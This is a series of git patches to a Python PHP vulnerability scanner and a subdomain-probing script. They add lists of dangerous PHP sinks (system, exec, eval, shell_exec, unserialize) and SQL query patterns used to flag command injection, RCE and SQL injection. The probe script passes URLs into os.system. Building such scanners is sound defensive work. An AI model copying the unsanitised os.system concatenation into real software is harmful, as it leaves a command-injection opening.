printcodeline(_line, i, _refl, prev_line, next_line, - prev_prev_line, next_next_line, __severity) + next_line, prev_prev_line, next_next_line, __severity, __verbose) + + if __functions_only == False: + for _dp in pefdefs.fileInclude: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + _dp = " {}".format(_dp) + # remove spaces to allow detection eg. include( $_GET['something] ) + if _dp in __line.replace(" ", ""): + header_printed = header_print(_file.name, header_printed) + total += 1 + printcodeline(_line, i, _dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, __severity, __verbose) + + for _global in pefdefs.globalVars: + if _global in __line: + header_printed = header_print(_file.name, header_printed) + total += 1 + printcodeline(_line, i, _global, prev_line, next_line, + prev_prev_line, next_next_line, __severity, __verbose) + + for _refl in pefdefs.reflectedProperties: + if _refl in __line: + header_printed = header_print(_file.name, header_printed) + total += 1 + printcodeline(_line, i, _refl, prev_line, next_line, + prev_prev_line, next_next_line, __severity, __verbose) if total < 1: pass @@ -162,10 +174,16 @@ def main(src, __severity): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in current directory", action="store_true") + parser.add_argument( + "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") + parser.add_argument( + "-c", "--code", help="only functions (no $_XXX)", action="store_true") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set") args = parser.parse_args() + __verbose = True if args.verbose else False + __functions_only = True if args.code else False __filename = args.file __scanned_files = 0 __found_entries = 0 @@ -179,7 +197,8 @@ def main(src, __severity): for root, subdirs, files in os.walk(__filename): for f in files: __scanned_files = __scanned_files + 1 - res = main(os.path.join(root, f), __severity) + res = main(os.path.join(root, f), __severity, + __verbose, __functions_only) __found_entries = __found_entries + res else: __scanned_files = __scanned_files + 1 From e95649aa9d9070e698914376b01d175c2aba48ef Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 26 May 2019 00:29:09 +0100 Subject: [PATCH 088/460] improve help [pef.py] --- pef/pef.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index f49b438..4174b5c 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -60,7 +60,7 @@ def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", "grey"), __syntax, beautyConsole.getSpecialChar("endline")) print " Potential impact: {}{}{}".format(beautyConsole.getColor( __impact_color[__impact]), __vuln_class, beautyConsole.getSpecialChar("endline")) - + if __impact not in __severity.keys(): __severity[__impact] = 1 else: @@ -173,13 +173,13 @@ def main(src, __severity, __verbose, __functions_only): __filename = '.' # initial value for file/dir to scan is current directory parser.add_argument( - "-r", "--recursive", help="scan PHP files recursively in current directory", action="store_true") + "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") parser.add_argument( "-c", "--code", help="only functions (no $_XXX)", action="store_true") parser.add_argument( - "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set") + "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() __verbose = True if args.verbose else False From 4ecd3235750f7424f9d57afadee26ce5f0a0ca50 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 28 May 2019 09:58:33 +0100 Subject: [PATCH 089/460] added check agains @function() to cover calls with silenced output [pef.py] --- pef/pef.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 4174b5c..8b525b4 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -124,8 +124,11 @@ def main(src, __severity, __verbose, __functions_only): __line = _line.strip() for _fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _fn = " {}".format(_fn) - if _fn in __line: + _fn = "{}".format(_fn) + _at_fn = "@{}".format(_fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if _fn in __line or _at_fn in __line: header_printed = header_print(_file.name, header_printed) total += 1 printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, From ba2f9dff1a271642b69a854a86d5b4d9466b0f94 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 28 May 2019 18:46:40 +0100 Subject: [PATCH 090/460] some pretty printing [pef.py] --- pef/pef.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 8b525b4..2165e64 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -163,7 +163,7 @@ def main(src, __severity, __verbose, __functions_only): pass else: print beautyConsole.getColor("red") + \ - "Found %d exploitable function(s)\n" % (total) + \ + "Found %d interesting entries\n" % (total) + \ beautyConsole.getSpecialChar("endline") return total # return how many findings in current file @@ -210,18 +210,18 @@ def main(src, __severity, __verbose, __functions_only): print beautyConsole.getColor("white") + "-" * 100 print beautyConsole.getColor("green") - print "\n {} file(s) scanned".format(__scanned_files) + print "\n>>> {} file(s) scanned".format(__scanned_files) if __found_entries > 0: - print "{} {} interesting entries found\n".format( + print "{}>>> {} interesting entries found\n".format( beautyConsole.getColor("red"), __found_entries) else: print " No interesting entries found :( \n" - print " {}{}: {}".format( + print "{}==> {}:\t {}".format( beautyConsole.getColor("red"), "HIGH", __severity.get("high")) - print " {}{}: {}".format(beautyConsole.getColor( + print "{}==> {}:\t {}".format(beautyConsole.getColor( "yellow"), "MEDIUM", __severity.get("medium")) - print " {}{}: {}".format(beautyConsole.getColor( + print "{}==> {}:\t {}".format(beautyConsole.getColor( "green"), "LOW", __severity.get("low")) print "\n" From eaa5bd03c77a174d17c4800e2033f574fe181653 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 17 Jun 2019 02:07:51 +0100 Subject: [PATCH 091/460] change pattern to prevent from false-positives [pef.py] --- pef/pef.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 2165e64..27c1f5b 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -121,10 +121,10 @@ def main(src, __severity, __verbose, __functions_only): next_next_line = all_lines[i + 2].rstrip() i += 1 - __line = _line.strip() + __line = _line.rstrip() for _fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _fn = "{}".format(_fn) + _fn = " {}".format(_fn) _at_fn = "@{}".format(_fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed From 952cca539fb6de37ad573746cc6617f579e88972 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 9 Jul 2019 23:34:31 +0100 Subject: [PATCH 092/460] pef.py - functions with @ were not recognized due to space before function name -> @ fn() pattern was searched [FIXED] --- denumerator/denumerator.py | 20 ++++++++++++++++---- pef/pef.py | 2 +- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 120a9cf..d86a574 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -28,14 +28,18 @@ colors = { "white": '\33[37m', - 500: '\33[31m', 200: '\33[32m', + 204: '\33[32m', 302: '\33[33m', 304: '\33[33m', 302: '\33[33m', 401: '\33[94m', 403: '\33[94m', 404: '\33[94m', + 405: '\33[94m', + 415: '\33[94m', + 422: '\33[94m', + 500: '\33[31m', "magenta": '\33[35m', "cyan": '\33[36m', "grey": '\33[90m', @@ -44,7 +48,7 @@ } requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 302, 304, 401, 404, 403, 500] +allowed_http_responses = [200, 204, 403, 404, 405, 415, 422, 500] timeout = 2 @@ -77,10 +81,15 @@ def append_to_output(html_output, url, http_status_code): './report/' + screenshot_name) os.system(screenshot_cmd + url) + # base color for all responses http_status_code_color = "000" + + # green - 200 OK if http_status_code == 200: http_status_code_color = "0c0" - if http_status_code == 403 or http_status_code == 500: + + # red - error responses, but HTTP server exists + if http_status_code in [403, 415, 422, 500]: http_status_code_color = "c00" html = """ @@ -114,6 +123,9 @@ def send_request(proto, domain, output_file, html_output): 'http': 'http://', 'https': 'https://' } + + print '\t--> {}{}'.format(protocols.get(proto.lower()), domain) + resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, allow_redirects=False, @@ -124,7 +136,7 @@ def send_request(proto, domain, output_file, html_output): print '[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain) - if resp.status_code in [200, 403, 404, 500]: + if resp.status_code in allowed_http_responses: append_to_output(html_output, protocols.get( proto.lower()) + domain, resp.status_code) diff --git a/pef/pef.py b/pef/pef.py index 27c1f5b..fa81ec2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -124,8 +124,8 @@ def main(src, __severity, __verbose, __functions_only): __line = _line.rstrip() for _fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _fn = " {}".format(_fn) _at_fn = "@{}".format(_fn) + _fn = " {}".format(_fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed if _fn in __line or _at_fn in __line: From 32a33c99f31841792caae1a07ecf792760039b89 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 11 Jul 2019 00:42:51 +0100 Subject: [PATCH 093/460] new patterns to recognize (SQL queries); --queries flag added to enable this option in scanning --- pef/imports/pefdefs.py | 6 ++++++ pef/imports/pefdocs.py | 14 +++++++++++++- pef/pef.py | 18 ++++++++++++++++-- 3 files changed, 35 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index a56cd49..4fcb0a0 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -123,3 +123,9 @@ "$_SERVER[\"REQUEST_URI\"]", "$_SERVER[\"HTTP_USER_AGENT\"]" ] + +# other patterns +otherPatterns = [ + "SELECT.*FROM", + "INSERT.*INTO" +] \ No newline at end of file diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 74324ca..2f80d24 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -478,5 +478,17 @@ "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", "medium" - ] + ], + "SELECT.*FROM":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ], + "INSERT.*INTO":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ], } diff --git a/pef/pef.py b/pef/pef.py index fa81ec2..30db39e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -12,6 +12,7 @@ """ import sys import os +import re import argparse from imports import pefdefs @@ -93,7 +94,7 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose, __functions_only): +def main(src, __severity, __verbose, __functions_only, __queries): """ performs code analysis, line by line """ @@ -159,6 +160,16 @@ def main(src, __severity, __verbose, __functions_only): printcodeline(_line, i, _refl, prev_line, next_line, prev_prev_line, next_next_line, __severity, __verbose) + if __queries == True: + for _refl in pefdefs.otherPatterns: + p = re.compile(_refl) + if p.search(_line): + header_printed = header_print( + _file.name, header_printed) + total += 1 + printcodeline(_line, i, _refl, prev_line, next_line, + prev_prev_line, next_next_line, __severity, __verbose) + if total < 1: pass else: @@ -177,6 +188,8 @@ def main(src, __severity, __verbose, __functions_only): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") + parser.add_argument( + "-q", "--queries", help="look for raw SQL queries", action="store_true") parser.add_argument( "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") parser.add_argument( @@ -187,6 +200,7 @@ def main(src, __severity, __verbose, __functions_only): __verbose = True if args.verbose else False __functions_only = True if args.code else False + __queries = True if args.queries else False __filename = args.file __scanned_files = 0 __found_entries = 0 @@ -201,7 +215,7 @@ def main(src, __severity, __verbose, __functions_only): for f in files: __scanned_files = __scanned_files + 1 res = main(os.path.join(root, f), __severity, - __verbose, __functions_only) + __verbose, __functions_only, __queries) __found_entries = __found_entries + res else: __scanned_files = __scanned_files + 1 From 2415de145c154b264015092bfffe994e232ab012 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 11 Jul 2019 08:39:23 +0100 Subject: [PATCH 094/460] some new SQL patterns to detect --- pef/imports/pefdefs.py | 4 +++- pef/imports/pefdocs.py | 12 ++++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 4fcb0a0..3c87527 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -127,5 +127,7 @@ # other patterns otherPatterns = [ "SELECT.*FROM", - "INSERT.*INTO" + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" ] \ No newline at end of file diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 2f80d24..3cb9caf 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -491,4 +491,16 @@ "SQL Injection", "medium" ], + "UPDATE.*":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ], + "DELETE.*FROM":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ] } From 09e2382ce4f290b6cd368083c38b186a8fe0239d Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Fri, 12 Jul 2019 17:09:01 +0100 Subject: [PATCH 095/460] refactoring; scan only for 'criticals' [pef.py] --- pef/imports/pefdefs.py | 28 +++++++++++++++++++- pef/pef.py | 58 +++++++++++++++++++++++++++--------------- 2 files changed, 65 insertions(+), 21 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 3c87527..d16cbd0 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -67,7 +67,6 @@ "dl(", "escapeshellarg(", "escapeshellcmd(", - "exec(", "extract(", "get_cfg_var(", "get_current_user(", @@ -92,6 +91,33 @@ "file_put_contents(" ] +# only high severity functions, for quick scan of large codebase +# to find oversighted leading to RCE, LFI, Command Injections, SQLi etc. +critical = [ + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "passthru(", + "shell_exec(", + "extract(", + "parse_str(", + "putenv(", + "unserialize(", + "readfile(", + "file_get_contents(", + "mysql_query(", + "mssql_query(", + "sqlite_query(", + "pg_query(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(" +] + # dangerous global(s) globalVars = [ "$_POST", diff --git a/pef/pef.py b/pef/pef.py index 30db39e..6cd21a1 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -94,7 +94,7 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose, __functions_only, __queries): +def main(src, __severity, __verbose = False, __sql = False, __critical = False): """ performs code analysis, line by line """ @@ -123,19 +123,33 @@ def main(src, __severity, __verbose, __functions_only, __queries): i += 1 __line = _line.rstrip() - for _fn in pefdefs.exploitableFunctions: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - _at_fn = "@{}".format(_fn) - _fn = " {}".format(_fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if _fn in __line or _at_fn in __line: - header_printed = header_print(_file.name, header_printed) - total += 1 - printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, __severity, __verbose) - - if __functions_only == False: + + if __critical: + for _fn in pefdefs.critical: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + _at_fn = "@{}".format(_fn) + _fn = " {}".format(_fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if _fn in __line or _at_fn in __line: + header_printed = header_print(_file.name, header_printed) + total += 1 + printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, __severity, __verbose) + else: + for _fn in pefdefs.exploitableFunctions: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + _at_fn = "@{}".format(_fn) + _fn = " {}".format(_fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if _fn in __line or _at_fn in __line: + header_printed = header_print(_file.name, header_printed) + total += 1 + printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, __severity, __verbose) + + if __critical == False: for _dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names _dp = " {}".format(_dp) @@ -160,7 +174,7 @@ def main(src, __severity, __verbose, __functions_only, __queries): printcodeline(_line, i, _refl, prev_line, next_line, prev_prev_line, next_next_line, __severity, __verbose) - if __queries == True: + if __sql == True: for _refl in pefdefs.otherPatterns: p = re.compile(_refl) if p.search(_line): @@ -189,21 +203,25 @@ def main(src, __severity, __verbose, __functions_only, __queries): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-q", "--queries", help="look for raw SQL queries", action="store_true") + "-c", "--critical", help="look only for critical functions", action="store_true") + parser.add_argument( + "-s", "--sql", help="look for raw SQL queries", action="store_true") parser.add_argument( "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") parser.add_argument( - "-c", "--code", help="only functions (no $_XXX)", action="store_true") + "-n", "--noglobals", help="only functions (no $_XXX)", action="store_true") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() __verbose = True if args.verbose else False - __functions_only = True if args.code else False - __queries = True if args.queries else False + __sql = True if args.sql else False + __critical = True if args.critical else False __filename = args.file + __scanned_files = 0 __found_entries = 0 + __severity = { "high": 0, "medium": 0, @@ -215,7 +233,7 @@ def main(src, __severity, __verbose, __functions_only, __queries): for f in files: __scanned_files = __scanned_files + 1 res = main(os.path.join(root, f), __severity, - __verbose, __functions_only, __queries) + __verbose, __sql, __critical) __found_entries = __found_entries + res else: __scanned_files = __scanned_files + 1 From bb3f7ebe3a14b4fed569ddbb223ceb9130bfe6e1 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:14:09 +0100 Subject: [PATCH 096/460] Refactoring - create PefEngine class for all logic to be moved here [pef.py] --- pef/pef.py | 32 +++++++++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index 6cd21a1..1784ddf 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -30,6 +30,36 @@ def banner(): print "-" * 100, "\33[0m\n" +class PefEngine: + """ + implements pef engine + """ + + def __init__(self): + """ + constructor + """ + return + + def header_print(self): + """ + prints file header + """ + return + + def printcodeline(self): + """ + prints formatted code line + """ + return + + def main(self): + """ + main engine loop + """ + return + + def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}, __verbose=False): """ Formats and prints line of output @@ -94,7 +124,7 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose = False, __sql = False, __critical = False): +def main(src, __severity, __verbose=False, __sql=False, __critical=False): """ performs code analysis, line by line """ From 2bd92df51ebd99d64d924b71318902b6f2fd0379 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:25:15 +0100 Subject: [PATCH 097/460] Refactoring - some renaming [pef.py] --- pef/pef.py | 77 ++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 55 insertions(+), 22 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 1784ddf..675720f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -35,10 +35,24 @@ class PefEngine: implements pef engine """ - def __init__(self): + def __init__(self, recursive, verbose, critical, sql, filename): """ constructor """ + self.recursive = recursive # recursive scan files in folder(s) + self.verbose = verbose # show prev/next lines + self.critical = critical # scan only for critical set of functions + self.sql = sql # scan for inline SQL queries + self.filename = filename # name of file/folder to scan + + self.scanned_files = 0 # number of scanned files in total + self.found_entries = 0 # total number of findings + + self.severity = { # severity scale + "high": 0, + "medium": 0, + "low": 0 + } return def header_print(self): @@ -59,6 +73,22 @@ def main(self): """ return + def run(self): + """ + runs scanning + """ + if args.recursive: + for root, subdirs, files in os.walk(__filename): + for f in files: + __scanned_files = __scanned_files + 1 + res = main(os.path.join(root, f), __severity, + __verbose, __sql, __critical) + __found_entries = __found_entries + res + else: + __scanned_files = __scanned_files + 1 + __found_entries = main(__filename, __severity) + return + def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}, __verbose=False): """ @@ -228,7 +258,7 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): if __name__ == "__main__": parser = argparse.ArgumentParser() - __filename = '.' # initial value for file/dir to scan is current directory + filename = '.' # initial value for file/dir to scan is current directory parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") @@ -244,48 +274,51 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() - __verbose = True if args.verbose else False - __sql = True if args.sql else False - __critical = True if args.critical else False - __filename = args.file + verbose = True if args.verbose else False + sql = True if args.sql else False + critical = True if args.critical else False + filename = args.file - __scanned_files = 0 - __found_entries = 0 + scanned_files = 0 + found_entries = 0 - __severity = { + severity = { "high": 0, "medium": 0, "low": 0 } if args.recursive: - for root, subdirs, files in os.walk(__filename): + for root, subdirs, files in os.walk(filename): for f in files: - __scanned_files = __scanned_files + 1 - res = main(os.path.join(root, f), __severity, - __verbose, __sql, __critical) - __found_entries = __found_entries + res + scanned_files = scanned_files + 1 + res = main(os.path.join(root, f), severity, + verbose, sql, critical) + found_entries = found_entries + res else: - __scanned_files = __scanned_files + 1 - __found_entries = main(__filename, __severity) + scanned_files = scanned_files + 1 + found_entries = main(filename, severity) print beautyConsole.getColor("white") + "-" * 100 print beautyConsole.getColor("green") - print "\n>>> {} file(s) scanned".format(__scanned_files) - if __found_entries > 0: + print "\n>>> {} file(s) scanned".format(scanned_files) + if found_entries > 0: print "{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), __found_entries) + beautyConsole.getColor("red"), found_entries) else: print " No interesting entries found :( \n" print "{}==> {}:\t {}".format( - beautyConsole.getColor("red"), "HIGH", __severity.get("high")) + beautyConsole.getColor("red"), "HIGH", severity.get("high")) print "{}==> {}:\t {}".format(beautyConsole.getColor( - "yellow"), "MEDIUM", __severity.get("medium")) + "yellow"), "MEDIUM", severity.get("medium")) print "{}==> {}:\t {}".format(beautyConsole.getColor( - "green"), "LOW", __severity.get("low")) + "green"), "LOW", severity.get("low")) print "\n" + # REFACTORED STARTS HERE + engine = PefEngine(args.recursive, verbose, critical, sql, filename) + exit(0) From c8d9d0636082b51bc6c39530aa90ba28b49cfe91 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:31:52 +0100 Subject: [PATCH 098/460] Refactoring - some renaming [pef.py] --- pef/pef.py | 145 ++++++++++++++++++++++++++++------------------------- 1 file changed, 76 insertions(+), 69 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 675720f..c4fc9c2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -77,57 +77,58 @@ def run(self): """ runs scanning """ - if args.recursive: - for root, subdirs, files in os.walk(__filename): + if self.recursive: + for root, subdirs, files in os.walk(self.filename): for f in files: - __scanned_files = __scanned_files + 1 + self.scanned_files = self.scanned_files + 1 res = main(os.path.join(root, f), __severity, - __verbose, __sql, __critical) - __found_entries = __found_entries + res + + verbose, sql, critical) + self.found_entries = self.found_entries + res else: - __scanned_files = __scanned_files + 1 - __found_entries = main(__filename, __severity) + self.scanned_files = self.scanned_files + 1 + self.found_entries = main(self.filename, __severity) return -def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}, __verbose=False): +def printcodeline(_line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ Formats and prints line of output """ - __impact_color = { + impact_color = { "low": "green", "medium": "yellow", "high": "red" } - if __verbose == True: - print " line %d :: \33[33;1m%s\33[0m " % (i, _fn) + if verbose == True: + print " line %d :: \33[33;1m%s\33[0m " % (i, fn) else: print "{}line {} :: {}{} ".format(beautyConsole.getColor( "white"), i, beautyConsole.getColor("grey"), _line.strip()) # print legend only if there i sentry in pefdocs.py - if _fn and _fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - __impact = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3] - __description = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[ + if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): + impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] + description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ 0] - __syntax = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[1] - __vuln_class = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[2] + syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] + vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if __verbose == True: + if verbose == True: print "\n {}{}{}".format(beautyConsole.getColor( - "white"), __description, beautyConsole.getSpecialChar("endline")) + "white"), description, beautyConsole.getSpecialChar("endline")) print " {}{}{}".format(beautyConsole.getColor( - "grey"), __syntax, beautyConsole.getSpecialChar("endline")) + "grey"), syntax, beautyConsole.getSpecialChar("endline")) print " Potential impact: {}{}{}".format(beautyConsole.getColor( - __impact_color[__impact]), __vuln_class, beautyConsole.getSpecialChar("endline")) + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) - if __impact not in __severity.keys(): - __severity[__impact] = 1 + if impact not in severity.keys(): + severity[impact] = 1 else: - __severity[__impact] = __severity[__impact] + 1 + severity[impact] = severity[impact] + 1 - if __verbose == True: + if verbose == True: print "\n" if prev_prev_line: print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ @@ -154,16 +155,16 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose=False, __sql=False, __critical=False): +def main(src, severity, verbose=False, sql=False, critical=False): """ performs code analysis, line by line """ - _file = open(src, "r") + f = open(src, "r") i = 0 total = 0 filenamelength = len(src) linelength = 97 - all_lines = _file.readlines() + all_lines = f.readlines() header_printed = False prev_prev_line = "" @@ -171,7 +172,7 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): next_line = "" next_next_line = "" - for _line in all_lines: + for l in all_lines: if i > 2: prev_prev_line = all_lines[i - 2].rstrip() if i > 1: @@ -182,67 +183,73 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): next_next_line = all_lines[i + 2].rstrip() i += 1 - __line = _line.rstrip() + line = l.rstrip() - if __critical: - for _fn in pefdefs.critical: + if critical: + for fn in pefdefs.critical: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _at_fn = "@{}".format(_fn) - _fn = " {}".format(_fn) + atfn = "@{}".format(fn) + fn = " {}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if _fn in __line or _at_fn in __line: - header_printed = header_print(_file.name, header_printed) + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) else: - for _fn in pefdefs.exploitableFunctions: + for fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _at_fn = "@{}".format(_fn) - _fn = " {}".format(_fn) + atfn = "@{}".format(fn) + fn = " {}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if _fn in __line or _at_fn in __line: - header_printed = header_print(_file.name, header_printed) + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) - if __critical == False: - for _dp in pefdefs.fileInclude: + if critical == False: + for dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _dp = " {}".format(_dp) + dp = " {}".format(dp) # remove spaces to allow detection eg. include( $_GET['something] ) - if _dp in __line.replace(" ", ""): - header_printed = header_print(_file.name, header_printed) + if dp in line.replace(" ", ""): + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) - for _global in pefdefs.globalVars: - if _global in __line: - header_printed = header_print(_file.name, header_printed) + for globalvars in pefdefs.globalVars: + if globalvars in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _global, prev_line, next_line, - prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, globalvars, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) - for _refl in pefdefs.reflectedProperties: - if _refl in __line: - header_printed = header_print(_file.name, header_printed) + for refl in pefdefs.reflectedProperties: + if refl in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _refl, prev_line, next_line, - 